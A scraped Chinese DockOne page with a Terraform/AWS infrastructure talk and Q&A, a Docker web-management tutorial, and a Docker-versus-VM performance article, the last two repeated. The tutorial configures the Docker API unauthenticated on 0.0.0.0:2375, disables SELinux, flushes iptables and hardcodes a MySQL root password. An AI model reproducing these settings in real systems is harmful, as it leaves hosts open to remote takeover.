上面说过我们使用 AWS 作为基础设施平台,基于不可变基础设施的理念,我们希望的是基础设施是可以快速销毁和重建的,
基于这个目的,我们使用了 Terraform 来完全托管 AWS 基础设施。
在此之前,我需要介绍一下部分架构。 
首先我们会为基础设施分组,每个基础设施组对应一整套 VPC 环境。
每组基础设施我们根据功能场景分为两种;ops-center组 及应用基础设施组,ops-center 主要承载运维基础设施,如 Mesos Master,Docker Registry,持续集成服务,VPN接入以及管理后台都运行在 ops-center。
应用基础设施组则运行主要业务的微服务、反向代理及 Marathon 节点。
而这些体现到 AWS 中,每组基础设施组都会应对一个 VPC,通过 VPC Peering Connection 连接相关的基础设施组。
基于这样的前提,我们可以对此分出多个基础设施组,比方我们有国内和新加坡的业务,则可分出如下基础设施组:
    []ops-cn[/][]prd-cn[/][]ops-sg[/][]prd-sg-master[/][]prd-sg-slave[/]

下面将介绍我们使用 Terraform 托管基础设施时的一些细节。
我们写了一套 Thor 脚本来管理多个基础设施组,每个组都是一个文件夹,文件夹中包含了对基础设施组的 Terraform 定义, 这些定义文件均被版本控制,可以进行对资源的快速回滚和改动。 


当我们需要对 AWS 基础设施做一些修改时,只需要修改定义并运行如下命令:
thor exec:terraform apply
通过管理配置文件传递变量来关联多个基础设施组的关系。
 
目前通过 Terraform 托管了以下内容:
    []VPC[/][]VPC Subnet[/][]Route table[/][]Security Groups[/][]Route53 records[/][]ELB[/][]S3[/][]Internet/NAT Gateways[/]

以及上面提到的 ops-center 的中提供的各种功能服务器,在定义 aws_instance 时,我们会为其分配 tag,我们的管理程序在接收到服务器准备好的事件时,通过 tag 判断该服务器的角色,为其执行对应的 Ansible Playbook,从而完成自动化部署。
有时我们可能会有未受 Terraform 的资源需要纳入其托管范围,这里我们用了terraforming ,可以将已经存在的 VPC、S3 或者 EC2 实例纳入 Terraform 的托管;当然Terraform 也承诺了将会在未来加入 import 功能以导入已有资源。
应用基础设施组则仅部署 Marathon 管理 Docker 容器集群,由其管理业务服务及其他相关内容,由于我们的业务服务均会构建为 Docker 容器进行发布,因此这里仅仅只需要管理应用服务的配置,这里我们使用了 consul 和 confd 来进行动态配置管理。
这样,我们的基础设施均以相同的模式运行和创建,均具有不可变性,系统更为简单和可靠,并具有快速回滚的能力。
通过实施这套方案,我们可以获得以下好处:
    []快速重建[/][]销毁基础设施组[/][]部署多个基础设施组来实现灾容[/][]灰度发布及快速升级。[/]

Q&A
Q:你们这套方案中遇到过哪些坑让你印象深刻,请举一两个具体实例说明?


A:使用 Packer 在国内进行构建时,因为众所周知的网络原因,经常会有失败的问题,这一点可以通过其他方式避免。此外由于 Terraform 并非完全支持所有的 AWS 资源管理,如 Cloudfront、Route53 Geo DNS,仍然需要手工管理这些,不过未来 Terraform 会加入这些的支持。


Q:每个vpc组是完全独立的提供服务?能说下这套技术应对的业务层是哪个方面的么?


A:每个 VPC 组提供的是一个完整的应用功能实现,上面也提高了我们会有 prd-sg-master,prd-sg-slave,可用于灾容。业务层提供的主要是 HTTP 服务及内部依赖的微服务。


Q:请问为什么选用Consul?很多类似方案用的etcd。


A:Consul 对于 agent 的节点的失效更友好,此外 Vagrant、Consul、Terraform 都是由 HashiCorp 公司开发的,其文档和技术栈都很全面,值得应用实践。


Q:如果我用了Kubernetes,对大数据Hadoop、Spark都没啥需求,是否还有用Mesos的必要呢?换句话说Mesos和Kubernetes结合针对纯容器平台有什么好处,使用场景是什么?


A:Kubernetes 和 Mesos 都是容器管理调度的框架,Mesos 的优势是更具可开发扩展性。


Q:请问对于PHP这种可以动态加载代码的服务,在这套系统里应该怎么应用呢?​


A:动态加载代码的代码源建议使用微服务的方式提供。


Q:Vagrant在宿主机使用的是NAT模式还是bridge ?Packer相对于vagrant package 命令,优势是哪些?Vagrant 在宿主机使用 NAT 模式,这样可以减少 DNS 出问题的几率。


A:Packer 可以从ISO镜像开始构建你的系统,相对于Vagrant更纯粹;实际上Vagrant的大多数 box 都是从Packer打包过来的。


Q:我在上期分享时,介绍过类似的Packer+Terraform工具。在使用Terraform管理AWS资源时,你提到另外的脚本管理(thor exec:terraform apply)。请问,你为何不直接运行Terraform 的命令,用thor的目的是什么,你的哪个repo了有用到thor,我可以参考一下?


A:我们在运行Terraform时需要传递很多变量以及硬编码参数,同时我们使用了AWS国内区域和 AWS 国际区域,他们是分开的,对应的 AWS Access Key 及 SecretKey 不同,Thor 脚本的目的是讲这些内容通过配置文件和环境变量的的方式传递给 Terraform,使其能获取正确的参数和定位正确的执行环境。


Q:请问持续集成采用的是Jenkins加插件的方式吗?持续集成的代码采用了什么样的分支管理策略?


A:是的,持续集成采用Jenkins及插件,我们采用的分支是 Git Flow 的变种,基于pull的模型。


Q:单纯的用于AWS的话,亚马逊自家的CloudFormation支持的基础设施应该更全面,如果不考虑跨平台的能力,还有什么理由选择Terraform吗?


A:CloudFormation 的设计并不友好,基于 JSON 的语法非常晦涩且难于维护,不像 Terraform 一样一目了然。


Q:跨主机网络是咋解决的啊?是结合了Kubernetes和Mesos、Docker功能吗?


A:我们采用的方案是 Weave,没有使用Kubernetes。


=================================================


分享阅读原文:http://dockone.io/article/1044
分享作者:曾超,Hyku架构师,负责公司的基础架构和运维架构,精通AWS技术体系,热爱Docker及开源。
Dockone.io微信群分享
DockOne每周都会组织定向的技术分享,欢迎感兴趣的同学加微信:liyingjiesz


docker web化管理

开源项目Something 发表了文章 • 4 个评论 • 3141 次浏览 • 2016-01-05 18:03 • 来自相关话题

背景

目前很多公司都在使用docker,docker也是一种趋势,我们公司也在使用docker,所以我也跟着学习使用docker,根据基本需求,结合api做了一个web程序

实验环境

本次试验使用两台实体机做模拟docker集群,一台虚拟机做docker镜像服务器,一台虚拟机做web管理机
系统软件环境及版本:
selinux disabled
iptables -F
三台docker机器系统使用centos7.1,两台模拟机群docker机软件docker+pipework+openswitch+etcd+dhcp,docker镜像服务器跑了一个registry容器提供镜像服务
Web管理机使用ubuntu,python+django+uwsgi原理图:




 
程序流程图:





原理

通过web界面创建删除容器和镜像,web服务器通过api操作三台docker机器,创建容器时通过dhcp获取ip,pipework给容器附上获取的ip,并把容器信息写入etcd库中,由于容器重启后ip消失,我通过监控脚本给启动没有ip的容器重新附上ip。容器支持ssh,有好处也有风险。
网络这块我是用交换机提供的网段,容器使用的ip和实体机在同一valn,你也可以一个集群使用一个valn,这里我是用同一valn。容器ip可以从交换机dhcp获取,不懂交换机,我直接用一台docker实体机起了dhcp服务,为该段提供dhcp服务。

安装

1.1 docker集群节点两台机器软件一样,我就以AB区别,软件基本一样,A多了一个dhcp,没有使用交换机提供dhcp1.2 安装openswitch:如果后期不想在docker集群中划分vlan,可以使用系统自带的brctl命令创建桥接网卡,下面创建桥接网卡的脚本相应的变一下,ovs-vsctl改为brctl
yum install gcc make python-devel openssl-devel kernel-devel graphviz kernel-debug-devel autoconf automake rpm-build redhat-rpm-config libtool
wget http://openvswitch.org/releases/openvswitch-2.3.1.tar.gz

tar zxvf openvswitch-2.3.1.tar.gz
mkdir -p ~/rpmbuild/SOURCES
cp openvswitch-2.3.1.tar.gz ~/rpmbuild/SOURCES/
sed 's/openvswitch-kmod, //g' openvswitch-2.3.1/rhel/openvswitch.spec > openvswitch-2.3.1/rhel/openvswitch_no_kmod.spec

rpmbuild -bb --without check openvswitch-2.3.1/rhel/openvswitch_no_kmod.spec
#之后会在~/rpmbuild/RPMS/x86_64/里有2个文件
-rw-rw-r-- 1 ovswitch ovswitch 2013688 Jan 15 03:20 openvswitch-2.3.1-1.x86_64.rpm
-rw-rw-r-- 1 ovswitch ovswitch 7712168 Jan 15 03:20 openvswitch-debuginfo-2.3.1-1.x86_64.rpm

yum localinstall ~/rpmbuild/RPMS/x86_64/openvswitch-2.3.1-1.x86_64.rpm

systemctl enable openvswitch
systemctl start openvswitch1.3 下载pipework:git clone https://github.com/jpetazzo/pipework.git
chmod +x pipework
cp pipework /usr/bin/pipework1.4 网卡配置
脚本下载地址在节点机器上
pwd
/root
check_modify_container.py create_docker_container_use_dhcp_ip.sh openvswitch_docker.sh
#openvswitch_docker.sh 是网卡初始化脚本
#create_docker_container_use_dhcp_ip.sh 是创建容器时会调用的脚本
#check_modify_container.py 容器ip监控脚本
crontab -e
[i]/5 [/i] [i] [/i] * python /root/check_modify_container.py #监控脚本每五分钟执行一次

em1 为管理网段ip
Ovs1桥接在em2上,为docker内网网段ip
配置网卡,这里使用桥接

cat openvswitch_docker.sh
#!/bin/bash
#删除docker测试机
#docker rm `docker stop $(docker ps -a -q)`
#删除已有的openvswitch交换机
ovs-vsctl list-br|xargs -I {} ovs-vsctl del-br {}
#创建交换机
ovs-vsctl add-br ovs1
#把物理网卡加入ovs1
ovs-vsctl add-port ovs1 em2
ip link set ovs1 up
ifconfig em2 0
ifconfig ovs1 192.168.157.21 netmask 255.255.255.0

chmod +x openvswitch_docker.sh
sh openvswitch_docker.sh

也可以写到配置文件中
我的em1为管理网卡10.0.0.21
A机器中安装dhcp,集群中一台机器配置dhcp就可以了,网段根据你的环境改变

yum install -y dhcp
vim /etc/dhcp/dhcpd.conf
log-facility local7;
ddns-update-style none;

subnet 192.168.157.0 netmask 255.255.255.0 {
range 192.168.157.100 192.168.157.200;
option domain-name-servers 202.106.0.20;
option routers 192.168.157.1;
option broadcast-address 192.168.157.255;
default-lease-time 80000;
max-lease-time 80000;
}
systemctl enable dhcpd
systemctl start dhcpd1.5 安装dockeryum install -y docker
vim /etc/sysconfig/docker
OPTIONS='--selinux-enabled --insecure-registry 192.168.46.130:5000 -b=none -H tcp://0.0.0.0:2375 -H unix:///var/run/docker.sock'
#指定镜像服务器为192.168.46.130,net使用none模式,监听2375端口,这个端口提供api访问的
systemctl start docker.service
systemctl enable docker.service1.6 Etcd安装yum install libffi libffi-devel python-devel
yum -y install epel-release
yum -y install python-pip
yum install etcd -y
vim /etc/etcd/etcd.conf
ETCD_NAME=default
ETCD_DATA_DIR="/var/lib/etcd/default.etcd"
ETCD_LISTEN_CLIENT_URLS="http://localhost:2379"
ETCD_ADVERTISE_CLIENT_URLS="http://localhost:2379"
[size=16]#这里etcd我没有做成集群,每台docker机的数据就保存在本机的etcd库中,不与其他节点同步,也不需要提供其他节点访问,这里设置监听本机[/size]
systemctl enable etcd
systemctl start etcd2.1 docker镜像服务器镜像服务器在安装配置完docker后,从官网pull下来一个registry镜像,启动创建一个镜像服务器容器
docker search registry
docker pull docker.io/registry
docker run --restart always -d -p 5000:5000 -v /opt/data/registry:/tmp/registry docker.io/registry安装docker请重复1.5
3.1  web服务器
Django web程序下载地址Web服务器系统我用的ubuntu,主要是安装软件简单,源及软件更新比较快
[quote]>> import django
>>> django.VERSION
(1, 7, 1, 'final', 0)这是我的django版本
apt-get install mysql-server mysql-client
apt-get install python-pip
pip install Django==1.7.1 #你也可以安装最新版本,不确定我写的程序能否正常运行
apt-get install python-mysqldb
pip install docker-py #要调用docker api,所以要安装相关python包
apt-get install curl
apt-get install mysql-server
apt-get isntall mysql-client
sudo apt-get install libmysqlclient-dev
apt-get install python-paramiko #web程序中也会用到curl和paramiko
git clone https://github.com/SomethingCM/Web-for-docker.git 到本地
cd Web-for-docker/docker_demo
vim docker_demo/settings.py
#修改数据库配置
DATABASES = {
'default': {
'ENGINE': 'django.db.backends.mysql',
'NAME': 'docker', #docker 库名
'USER': 'root', #mysql登陆用户
'PASSWORD': 'dockerchen',#密码,如果mysql设置了用户名密码可以填写,没有则为空
'HOST':'',
'PORT':'',
}
}
#修改完以后创建表
./manage.py syncdb
#执行的时候会让你设置后台root用户密码,两次输入密码创建表成功
./manage.py runserver 0.0.0.0:80

初始化设置

在浏览器中输入 IP:port/admin 设置后台 IP为web服务器的ip登陆后台admin初始化设置








 
添加仓库节点




 
添加节点












 
前台登陆












 
编写dockerfile创建镜像








 
把现有容器打包成镜像




 
创建容器



关于怎么用django+uwsgi发布网站这里就不叙述了
由于各种原因项目中途GAMEOVE了,没有具体的需求,不知道如何往下写了,有兴趣的朋友可以参考一下[/quote] 查看全部


背景


目前很多公司都在使用docker,docker也是一种趋势,我们公司也在使用docker,所以我也跟着学习使用docker,根据基本需求,结合api做了一个web程序


实验环境


本次试验使用两台实体机做模拟docker集群,一台虚拟机做docker镜像服务器,一台虚拟机做web管理机
系统软件环境及版本:
selinux disabled
iptables -F
三台docker机器系统使用centos7.1,两台模拟机群docker机软件docker+pipework+openswitch+etcd+dhcp,docker镜像服务器跑了一个registry容器提供镜像服务
Web管理机使用ubuntu,python+django+uwsgi
原理图:
yltu.png

 
程序流程图:
processlist.png


原理


通过web界面创建删除容器和镜像,web服务器通过api操作三台docker机器,创建容器时通过dhcp获取ip,pipework给容器附上获取的ip,并把容器信息写入etcd库中,由于容器重启后ip消失,我通过监控脚本给启动没有ip的容器重新附上ip。容器支持ssh,有好处也有风险。
网络这块我是用交换机提供的网段,容器使用的ip和实体机在同一valn,你也可以一个集群使用一个valn,这里我是用同一valn。容器ip可以从交换机dhcp获取,不懂交换机,我直接用一台docker实体机起了dhcp服务,为该段提供dhcp服务。


安装


1.1 docker集群节点
两台机器软件一样,我就以AB区别,软件基本一样,A多了一个dhcp,没有使用交换机提供dhcp
1.2 安装openswitch:
如果后期不想在docker集群中划分vlan,可以使用系统自带的brctl命令创建桥接网卡,下面创建桥接网卡的脚本相应的变一下,ovs-vsctl改为brctl
yum install gcc make python-devel openssl-devel kernel-devel graphviz kernel-debug-devel autoconf automake rpm-build redhat-rpm-config libtool
wget http://openvswitch.org/releases/openvswitch-2.3.1.tar.gz

tar zxvf openvswitch-2.3.1.tar.gz
mkdir -p ~/rpmbuild/SOURCES
cp openvswitch-2.3.1.tar.gz ~/rpmbuild/SOURCES/
sed 's/openvswitch-kmod, //g' openvswitch-2.3.1/rhel/openvswitch.spec > openvswitch-2.3.1/rhel/openvswitch_no_kmod.spec

rpmbuild -bb --without check openvswitch-2.3.1/rhel/openvswitch_no_kmod.spec
#之后会在~/rpmbuild/RPMS/x86_64/里有2个文件
-rw-rw-r-- 1 ovswitch ovswitch 2013688 Jan 15 03:20 openvswitch-2.3.1-1.x86_64.rpm
-rw-rw-r-- 1 ovswitch ovswitch 7712168 Jan 15 03:20 openvswitch-debuginfo-2.3.1-1.x86_64.rpm

yum localinstall ~/rpmbuild/RPMS/x86_64/openvswitch-2.3.1-1.x86_64.rpm

systemctl enable openvswitch
systemctl start openvswitch
1.3 下载pipework:
git clone https://github.com/jpetazzo/pipework.git
chmod +x pipework
cp pipework /usr/bin/pipework
1.4 网卡配置
脚本下载地址
在节点机器上
pwd
/root
check_modify_container.py create_docker_container_use_dhcp_ip.sh openvswitch_docker.sh
#openvswitch_docker.sh 是网卡初始化脚本
#create_docker_container_use_dhcp_ip.sh 是创建容器时会调用的脚本
#check_modify_container.py 容器ip监控脚本
crontab -e
[i]/5 [/i] [i] [/i] * python /root/check_modify_container.py #监控脚本每五分钟执行一次

em1 为管理网段ip
Ovs1桥接在em2上,为docker内网网段ip
配置网卡,这里使用桥接

cat openvswitch_docker.sh
#!/bin/bash
#删除docker测试机
#docker rm `docker stop $(docker ps -a -q)`
#删除已有的openvswitch交换机
ovs-vsctl list-br|xargs -I {} ovs-vsctl del-br {}
#创建交换机
ovs-vsctl add-br ovs1
#把物理网卡加入ovs1
ovs-vsctl add-port ovs1 em2
ip link set ovs1 up
ifconfig em2 0
ifconfig ovs1 192.168.157.21 netmask 255.255.255.0

chmod +x openvswitch_docker.sh
sh openvswitch_docker.sh

也可以写到配置文件中
我的em1为管理网卡10.0.0.21
A机器中安装dhcp,集群中一台机器配置dhcp就可以了,网段根据你的环境改变

yum install -y dhcp
vim /etc/dhcp/dhcpd.conf
log-facility local7;
ddns-update-style none;

subnet 192.168.157.0 netmask 255.255.255.0 {
range 192.168.157.100 192.168.157.200;
option domain-name-servers 202.106.0.20;
option routers 192.168.157.1;
option broadcast-address 192.168.157.255;
default-lease-time 80000;
max-lease-time 80000;
}
systemctl enable dhcpd
systemctl start dhcpd
1.5 安装docker
yum install -y docker
vim /etc/sysconfig/docker
OPTIONS='--selinux-enabled --insecure-registry 192.168.46.130:5000 -b=none -H tcp://0.0.0.0:2375 -H unix:///var/run/docker.sock'
#指定镜像服务器为192.168.46.130,net使用none模式,监听2375端口,这个端口提供api访问的
systemctl start docker.service
systemctl enable docker.service
1.6 Etcd安装
yum install libffi libffi-devel python-devel
yum -y install epel-release
yum -y install python-pip
yum install etcd -y
vim /etc/etcd/etcd.conf
ETCD_NAME=default
ETCD_DATA_DIR="/var/lib/etcd/default.etcd"
ETCD_LISTEN_CLIENT_URLS="http://localhost:2379"
ETCD_ADVERTISE_CLIENT_URLS="http://localhost:2379"
[size=16]#这里etcd我没有做成集群,每台docker机的数据就保存在本机的etcd库中,不与其他节点同步,也不需要提供其他节点访问,这里设置监听本机[/size]
systemctl enable etcd
systemctl start etcd
2.1 docker镜像服务器
镜像服务器在安装配置完docker后,从官网pull下来一个registry镜像,启动创建一个镜像服务器容器
docker search registry
docker pull docker.io/registry
docker run --restart always -d -p 5000:5000 -v /opt/data/registry:/tmp/registry docker.io/registry
安装docker请重复1.5
3.1  web服务器
Django web程序下载地址
Web服务器系统我用的ubuntu,主要是安装软件简单,源及软件更新比较快
[quote]>> import django
>>> django.VERSION
(1, 7, 1, 'final', 0)这是我的django版本
apt-get install mysql-server mysql-client
apt-get install python-pip
pip install Django==1.7.1 #你也可以安装最新版本,不确定我写的程序能否正常运行
apt-get install python-mysqldb
pip install docker-py #要调用docker api,所以要安装相关python包
apt-get install curl
apt-get install mysql-server
apt-get isntall mysql-client
sudo apt-get install libmysqlclient-dev
apt-get install python-paramiko #web程序中也会用到curl和paramiko
git clone https://github.com/SomethingCM/Web-for-docker.git 到本地
cd Web-for-docker/docker_demo
vim docker_demo/settings.py
#修改数据库配置
DATABASES = {
'default': {
'ENGINE': 'django.db.backends.mysql',
'NAME': 'docker', #docker 库名
'USER': 'root', #mysql登陆用户
'PASSWORD': 'dockerchen',#密码,如果mysql设置了用户名密码可以填写,没有则为空
'HOST':'',
'PORT':'',
}
}
#修改完以后创建表
./manage.py syncdb
#执行的时候会让你设置后台root用户密码,两次输入密码创建表成功
./manage.py runserver 0.0.0.0:80


初始化设置


在浏览器中输入 IP:port/admin 设置后台 IP为web服务器的ip
登陆后台admin初始化设置
loginadmin.png

admin.png

 
添加仓库节点
addregistry.png

 
添加节点
addnode1.png

addnode2.png

shownode.png

 
前台登陆
login.png

index.png

showimages.png

 
编写dockerfile创建镜像
dockerfile.png

showcontainers.png

 
把现有容器打包成镜像
containertoimage.png

 
创建容器
createcontailer.png
关于怎么用django+uwsgi发布网站这里就不叙述了
由于各种原因项目中途GAMEOVE了,没有具体的需求,不知道如何往下写了,有兴趣的朋友可以参考一下[/quote]

docker与虚拟机性能比较

大数据/云计算Geek小A 发表了文章 • 0 个评论 • 1978 次浏览 • 2015-10-12 19:14 • 来自相关话题

概要

docker是近年来新兴的虚拟化工具,它可以和虚拟机一样实现资源和系统环境的隔离。本文将主要根据IBM发表的研究报告,论述docker与传统虚拟化方式的不同之处,并比较物理机、docker容器、虚拟机三者的性能差异及差异产生的原理。

docker与虚拟机实现原理比较

如下图分别是虚拟机与docker的实现框架。



比较两图的差异,左图虚拟机的Guest OS层和Hypervisor层在docker中被Docker Engine层所替代。虚拟机的Guest OS即为虚拟机安装的操作系统,它是一个完整操作系统内核;虚拟机的Hypervisor层可以简单理解为一个硬件虚拟化平台,它在Host OS是以内核态的驱动存在的。
 虚拟机实现资源隔离的方法是利用独立的OS,并利用Hypervisor虚拟化CPU、内存、IO设备等实现的。例如,为了虚拟CPU,Hypervisor会为每个虚拟的CPU创建一个数据结构,模拟CPU的全部寄存器的值,在适当的时候跟踪并修改这些值。需要指出的是在大多数情况下,虚拟机软件代码是直接跑在硬件上的,而不需要Hypervisor介入。只有在一些权限高的请求下,Guest OS需要运行内核态修改CPU的寄存器数据,Hypervisor会介入,修改并维护虚拟的CPU状态。

Hypervisor虚拟化内存的方法是创建一个shadow page table。正常的情况下,一个page table可以用来实现从虚拟内存到物理内存的翻译。在虚拟化的情况下,由于所谓的物理内存仍然是虚拟的,因此shadow page table就要做到:虚拟内存->虚拟的物理内存->真正的物理内存。

对于IO设备虚拟化,当Hypervisor接到page fault,并发现实际上虚拟的物理内存地址对应的是一个I/O设备,Hypervisor就用软件模拟这个设备的工作情况,并返回。比如当CPU想要写磁盘时,Hypervisor就把相应的数据写到一个host OS的文件上,这个文件实际上就模拟了虚拟的磁盘。
对比虚拟机实现资源和环境隔离的方案,docker就显得简练很多。docker Engine可以简单看成对Linux的NameSpace、Cgroup、镜像管理文件系统操作的封装。docker并没有和虚拟机一样利用一个完全独立的Guest OS实现环境隔离,它利用的是目前Linux内核本身支持的容器方式实现资源和环境隔离。简单的说,docker利用namespace实现系统环境的隔离;利用Cgroup实现资源限制;利用镜像实现根目录环境的隔离。通过docker和虚拟机实现原理的比较,我们大致可以得出一些结论:(1)docker有着比虚拟机更少的抽象层。由于docker不需要Hypervisor实现硬件资源虚拟化,运行在docker容器上的程序直接使用的都是实际物理机的硬件资源。因此在CPU、内存利用率上docker将会在效率上有优势,具体的效率对比在下几个小节里给出。在IO设备虚拟化上,docker的镜像管理有多种方案,比如利用Aufs文件系统或者Device Mapper实现docker的文件管理,各种实现方案的效率略有不同。(2)docker利用的是宿主机的内核,而不需要Guest OS。因此,当新建一个容器时,docker不需要和虚拟机一样重新加载一个操作系统内核。我们知道,引导、加载操作系统内核是一个比较费时费资源的过程,当新建一个虚拟机时,虚拟机软件需要加载Guest OS,这个新建过程是分钟级别的。而docker由于直接利用宿主机的操作系统,则省略了这个过程,因此新建一个docker容器只需要几秒钟。另外,现代操作系统是复杂的系统,在一台物理机上新增加一个操作系统的资源开销是比较大的,因此,docker对比虚拟机在资源消耗上也占有比较大的优势。事实上,在一台物理机上我们可以很容易建立成百上千的容器,而只能建立几个虚拟机。

docker与虚拟机计算效率比较

在上一节我们从原理的角度推测docker应当在CPU和内存的利用效率上比虚拟机高。在这一节我们将根据IBM发表的论文给出的数据进行分析。以下的数据均是在IBM x3650 M4服务器测得,其主要的硬件参数是: (1)2颗英特尔xeon E5-2655 处理器,主频2.4-3.0 GHz。每颗处理器有8个核,因此总共有16个核。(2)256 GB RAM.在测试中是通过运算Linpack程序来获得计算能力数据的。结果如下图所示: 



图中从左往右分别是物理机、docker和虚拟机的计算能力数据。可见docker相对于物理机其计算能力几乎没有损耗,而虚拟机对比物理机则有着非常明显的损耗。虚拟机的计算能力损耗在50%左右。 为什么会有这么大的性能损耗呢?一方面是因为虚拟机增加了一层虚拟硬件层,运行在虚拟机上的应用程序在进行数值计算时是运行在Hypervisor虚拟的CPU上的;另外一方面是由于计算程序本身的特性导致的差异。虚拟机虚拟的cpu架构不同于实际cpu架构,数值计算程序一般针对特定的cpu架构有一定的优化措施,虚拟化使这些措施作废,甚至起到反效果。比如对于本次实验的平台,实际的CPU架构是2块物理CPU,每块CPU拥有16个核,共32个核,采用的是NUMA架构;而虚拟机则将CPU虚拟化成一块拥有32个核的CPU。这就导致了计算程序在进行计算时无法根据实际的CPU架构进行优化,大大减低了计算效率。

docker与虚拟机内存访问效率比较

内存访问效率的比较相对比较复杂一点,主要是内存访问有多种场景: (1)大批量的,连续地址块的内存数据读写。这种测试环境下得到的性能数据是内存带宽,性能瓶颈主要在内存芯片的性能上; (2)随机内存访问性能。这种测试环境下的性能数据主要与内存带宽、cache的命中率和虚拟地址与物理地址转换的效率等因素有关。以下将主要针对这两种内存访问场景进行分析。在分析之前我们先概要说明一下docker和虚拟机的内存访问模型差异。下图是docker与虚拟机内存访问模型: 



可见在应用程序内存访问上,虚拟机的应用程序要进行2次的虚拟内存到物理内存的映射,读写内存的代价比docker的应用程序高。下图是场景(1)的测试数据,即内存带宽数据。左图是程序运行在一块CPU(即8核)上的数据,右图是程序运行在2块CPU(即16核)上的数据。单位均为GB/s。 







从图中数据可以看出,在内存带宽性能上docker与虚拟机的性能差异并不大。这是因为在内存带宽测试中,读写的内存地址是连续的,大批量的,内核对这种操作会进行优化(数据预存取)。因此虚拟内存到物理内存的映射次数比较少,性能瓶颈主要在物理内存的读写速度上,因此这种情况docker和虚拟机的测试性能差别不大; 内存带宽测试中docker与虚拟机内存访问性能差异不大的原因是由于内存带宽测试中需要进行虚拟地址到物理地址的映射次数比较少。根据这个假设,我们推测,当进行随机内存访问测试时这两者的性能差距将会变大,因为随机内存访问测试中需要进行虚拟内存地址到物理内存地址的映射次数将会变多。结果如下图所示:







1图是程序运行在一个CPU上的数据,右图是程序运行在2块CPU上的数据。从左图可以看出,确实如我们所预测的,在随机内存访问性能上容器与虚拟机的性能差距变得比较明显,容器的内存访问性能明显比虚拟机优秀;但出乎我们意料的是在2块CPU上运行测试程序时容器与虚拟机的随机内存访问性能的差距却又变的不明显。针对这个现象,IBM的论文给出了一个合理解释。这是因为当有2块CPU同时对内存进行访问时,内存读写的控制将会变得比较复杂,因为两块CPU可能同时读写同一个地址的数据,需要对内存数据进行一些同步操作,从而导致内存读写性能的损耗。这种损耗即使对于物理机也是存在的,可以看出右图的内存访问性能数据是低于左图的。2块CPU对内存读写性能的损耗影响是非常大的,这个损耗占据的比例远大于虚拟机和docker由于内存访问模型的不同产生的差异,因此在右图中docker与虚拟机的随机内存访问性能上我们看不出明显差异。

docker与虚拟机启动时间及资源耗费比较

上面两个小节主要从运行在docker里的程序和运行在虚拟机里的程序进行性能比较。事实上,docker之所以如此受到开发者关注的另外一个重要原因是启动docker的系统代价比启动一台虚拟机的代价要低得多:无论从启动时间还是从启动资源耗费角度来说。docker直接利用宿主机的系统内核,避免了虚拟机启动时所需的系统引导时间和操作系统运行的资源消耗。利用docker能在几秒钟之内启动大量的容器,这是虚拟机无法办到的。快速启动、低系统资源消耗的优点使docker在弹性云平台和自动运维系统方面有着很好的应用前景。

docker的劣势

前面的内容主要论述docker相对于虚拟机的优势,但docker也不是完美的系统。相对于虚拟机,docker还存在着以下几个缺点:1.资源隔离方面不如虚拟机,docker是利用cgroup实现资源限制的,只能限制资源消耗的最大值,而不能隔绝其他程序占用自己的资源。2.安全性问题。docker目前并不能分辨具体执行指令的用户,只要一个用户拥有执行docker的权限,那么他就可以对docker的容器进行所有操作,不管该容器是否是由该用户创建。比如A和B都拥有执行docker的权限,由于docker的server端并不会具体判断docker cline是由哪个用户发起的,A可以删除B创建的容器,存在一定的安全风险。 3.docker目前还在版本的快速更新中,细节功能调整比较大。一些核心模块依赖于高版本内核,存在版本兼容问题

原文作者:chenbiaolong
 
 
分享原文地址:http://blog.csdn.net/cbl709/article/details/43955687 查看全部


概要


docker是近年来新兴的虚拟化工具,它可以和虚拟机一样实现资源和系统环境的隔离。本文将主要根据IBM发表的研究报告,论述docker与传统虚拟化方式的不同之处,并比较物理机、docker容器、虚拟机三者的性能差异及差异产生的原理。 


docker与虚拟机实现原理比较


如下图分别是虚拟机与docker的实现框架。
dvk1.png
比较两图的差异,左图虚拟机的Guest OS层和Hypervisor层在docker中被Docker Engine层所替代。虚拟机的Guest OS即为虚拟机安装的操作系统,它是一个完整操作系统内核;虚拟机的Hypervisor层可以简单理解为一个硬件虚拟化平台,它在Host OS是以内核态的驱动存在的。
 
虚拟机实现资源隔离的方法是利用独立的OS,并利用Hypervisor虚拟化CPU、内存、IO设备等实现的。例如,为了虚拟CPU,Hypervisor会为每个虚拟的CPU创建一个数据结构,模拟CPU的全部寄存器的值,在适当的时候跟踪并修改这些值。需要指出的是在大多数情况下,虚拟机软件代码是直接跑在硬件上的,而不需要Hypervisor介入。只有在一些权限高的请求下,Guest OS需要运行内核态修改CPU的寄存器数据,Hypervisor会介入,修改并维护虚拟的CPU状态。 

Hypervisor虚拟化内存的方法是创建一个shadow page table。正常的情况下,一个page table可以用来实现从虚拟内存到物理内存的翻译。在虚拟化的情况下,由于所谓的物理内存仍然是虚拟的,因此shadow page table就要做到:虚拟内存->虚拟的物理内存->真正的物理内存。

对于IO设备虚拟化,当Hypervisor接到page fault,并发现实际上虚拟的物理内存地址对应的是一个I/O设备,Hypervisor就用软件模拟这个设备的工作情况,并返回。比如当CPU想要写磁盘时,Hypervisor就把相应的数据写到一个host OS的文件上,这个文件实际上就模拟了虚拟的磁盘。
对比虚拟机实现资源和环境隔离的方案,docker就显得简练很多。docker Engine可以简单看成对Linux的NameSpace、Cgroup、镜像管理文件系统操作的封装。docker并没有和虚拟机一样利用一个完全独立的Guest OS实现环境隔离,它利用的是目前Linux内核本身支持的容器方式实现资源和环境隔离。简单的说,docker利用namespace实现系统环境的隔离;利用Cgroup实现资源限制;利用镜像实现根目录环境的隔离。
通过docker和虚拟机实现原理的比较,我们大致可以得出一些结论:
(1)docker有着比虚拟机更少的抽象层。由于docker不需要Hypervisor实现硬件资源虚拟化,运行在docker容器上的程序直接使用的都是实际物理机的硬件资源。因此在CPU、内存利用率上docker将会在效率上有优势,具体的效率对比在下几个小节里给出。在IO设备虚拟化上,docker的镜像管理有多种方案,比如利用Aufs文件系统或者Device Mapper实现docker的文件管理,各种实现方案的效率略有不同。
(2)docker利用的是宿主机的内核,而不需要Guest OS。因此,当新建一个容器时,docker不需要和虚拟机一样重新加载一个操作系统内核。我们知道,引导、加载操作系统内核是一个比较费时费资源的过程,当新建一个虚拟机时,虚拟机软件需要加载Guest OS,这个新建过程是分钟级别的。而docker由于直接利用宿主机的操作系统,则省略了这个过程,因此新建一个docker容器只需要几秒钟。另外,现代操作系统是复杂的系统,在一台物理机上新增加一个操作系统的资源开销是比较大的,因此,docker对比虚拟机在资源消耗上也占有比较大的优势。事实上,在一台物理机上我们可以很容易建立成百上千的容器,而只能建立几个虚拟机。


docker与虚拟机计算效率比较


